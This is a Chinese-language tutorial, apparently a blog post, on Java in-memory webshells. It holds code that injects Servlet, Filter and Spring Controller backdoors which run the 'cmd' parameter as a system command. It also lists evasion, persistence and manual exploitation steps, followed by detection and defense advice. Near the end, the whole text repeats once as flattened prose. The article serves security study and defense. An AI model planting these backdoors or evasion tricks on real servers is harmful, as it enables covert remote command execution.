记一次离谱的内存马 GetShell
字数 1120 2025-08-19 12:40:45

内存马 GetShell 攻击技术分析

一、内存马概述

内存马(Memory Shell)是一种驻留在内存中的后门技术,相比传统Webshell具有以下特点:

  • 无文件落地,仅存在于内存中
  • 难以被传统安全设备检测
  • 重启后失效(非持久化)
  • 通常通过漏洞利用或特殊API注入

二、攻击流程分析

1. 漏洞利用入口

攻击通常始于以下入口之一:

  • 反序列化漏洞(如Fastjson、Jackson)
  • 文件上传漏洞(绕过检查上传恶意类)
  • 框架特定漏洞(如Spring Cloud Gateway RCE)

2. 内存马注入技术

2.1 Servlet API 型内存马

// 获取当前Context
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

// 获取StandardContext
Field contextField = context.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(context);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

// 创建恶意Servlet
Servlet servlet = new Servlet() {
    @Override
    public void service(ServletRequest req, ServletResponse res) {
        // 恶意代码
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch(Exception e) {}
        }
    }
    // 其他必要方法实现...
};

// 注册Servlet
Wrapper wrapper = standardContext.createWrapper();
wrapper.setServlet(servlet);
wrapper.setName("evilServlet");
standardContext.addChild(wrapper);

// 添加URL映射
standardContext.addServletMappingDecoded("/evil", "evilServlet");

2.2 Filter 型内存马

// 创建恶意Filter
Filter filter = new Filter() {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
        String cmd = request.getParameter("cmd");
        if(cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch(Exception e) {}
        }
        chain.doFilter(request, response);
    }
    // 其他必要方法实现...
};

// 动态注册Filter
Dynamic addedFilter = servletContext.addFilter("evilFilter", filter);
addedFilter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");

2.3 Controller 型内存马(Spring框架)

// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping handlerMapping = applicationContext.getBean(RequestMappingHandlerMapping.class);

// 创建恶意处理器
Method method = this.getClass().getMethod("evilMethod", String.class);
RequestMappingInfo mappingInfo = RequestMappingInfo
    .paths("/evil")
    .methods(RequestMethod.GET)
    .build();

// 注册控制器
handlerMapping.registerMapping(
    mappingInfo,
    this,
    method
);

// 恶意方法
public void evilMethod(@RequestParam String cmd) throws Exception {
    Runtime.getRuntime().exec(cmd);
}

3. 隐蔽技术

  • 随机路径:使用UUID生成动态URL
  • 编码混淆:Base64、Hex等编码关键字符串
  • 反射调用:避免直接调用敏感API
  • 内存清理:注入后删除临时类/对象引用

三、工具与利用

1. JavaExploit 工具关键功能

  • 自动化漏洞检测
  • 多类型内存马生成(Servlet/Filter/Controller)
  • 反序列化Gadget集成
  • 动态类加载支持

2. 手工利用步骤

  1. 确认目标框架/中间件版本
  2. 选择合适的漏洞利用方式
  3. 构造恶意类字节码
  4. 通过ClassLoader动态加载
  5. 注入内存马
  6. 测试后门访问

四、防御措施

1. 检测方法

  • 内存扫描:使用Java Agent技术检测异常类/方法
  • 行为监控
    • 异常的URL映射添加
    • 动态类加载行为
    • 反射调用敏感API
  • 流量分析
    • 异常的HTTP参数(如cmd、exec等)
    • 非常规URL访问模式

2. 防护方案

  • 输入验证:严格过滤反序列化数据
  • 权限控制:限制动态类加载能力
  • 运行时保护
    • 禁用危险的反射调用
    • 监控Servlet/Filter动态注册
  • 补丁管理:及时更新框架/中间件

五、高级技巧

1. 持久化技术

  • 利用Tomcat的ServletContainerInitializer
  • 修改web.xml内存结构
  • 注入到共享类加载器

2. 绕过检测

  • 使用合法类名伪装
  • 延迟加载技术
  • 基于JNDI的动态解析

3. 跨环境适配

  • 针对不同Web容器(Tomcat/Jetty/Undertow)的适配
  • Spring Boot/Cloud特殊处理
  • 云原生环境下的注入方式

六、参考工具

  1. JavaExploit:集成化漏洞利用框架
  2. MemShellScanner:内存马检测工具
  3. Arthas:Java诊断工具可用于检测异常类
  4. RASP:运行时应用自我保护方案

注:本文仅供安全研究学习使用,请勿用于非法用途。

内存马 GetShell 攻击技术分析 一、内存马概述 内存马(Memory Shell)是一种驻留在内存中的后门技术,相比传统Webshell具有以下特点: 无文件落地,仅存在于内存中 难以被传统安全设备检测 重启后失效(非持久化) 通常通过漏洞利用或特殊API注入 二、攻击流程分析 1. 漏洞利用入口 攻击通常始于以下入口之一: 反序列化漏洞(如Fastjson、Jackson) 文件上传漏洞(绕过检查上传恶意类) 框架特定漏洞(如Spring Cloud Gateway RCE) 2. 内存马注入技术 2.1 Servlet API 型内存马 2.2 Filter 型内存马 2.3 Controller 型内存马(Spring框架) 3. 隐蔽技术 随机路径 :使用UUID生成动态URL 编码混淆 :Base64、Hex等编码关键字符串 反射调用 :避免直接调用敏感API 内存清理 :注入后删除临时类/对象引用 三、工具与利用 1. JavaExploit 工具关键功能 自动化漏洞检测 多类型内存马生成(Servlet/Filter/Controller) 反序列化Gadget集成 动态类加载支持 2. 手工利用步骤 确认目标框架/中间件版本 选择合适的漏洞利用方式 构造恶意类字节码 通过ClassLoader动态加载 注入内存马 测试后门访问 四、防御措施 1. 检测方法 内存扫描 :使用Java Agent技术检测异常类/方法 行为监控 : 异常的URL映射添加 动态类加载行为 反射调用敏感API 流量分析 : 异常的HTTP参数(如cmd、exec等) 非常规URL访问模式 2. 防护方案 输入验证 :严格过滤反序列化数据 权限控制 :限制动态类加载能力 运行时保护 : 禁用危险的反射调用 监控Servlet/Filter动态注册 补丁管理 :及时更新框架/中间件 五、高级技巧 1. 持久化技术 利用Tomcat的 ServletContainerInitializer 修改 web.xml 内存结构 注入到共享类加载器 2. 绕过检测 使用合法类名伪装 延迟加载技术 基于JNDI的动态解析 3. 跨环境适配 针对不同Web容器(Tomcat/Jetty/Undertow)的适配 Spring Boot/Cloud特殊处理 云原生环境下的注入方式 六、参考工具 JavaExploit :集成化漏洞利用框架 MemShellScanner :内存马检测工具 Arthas :Java诊断工具可用于检测异常类 RASP :运行时应用自我保护方案 注:本文仅供安全研究学习使用,请勿用于非法用途。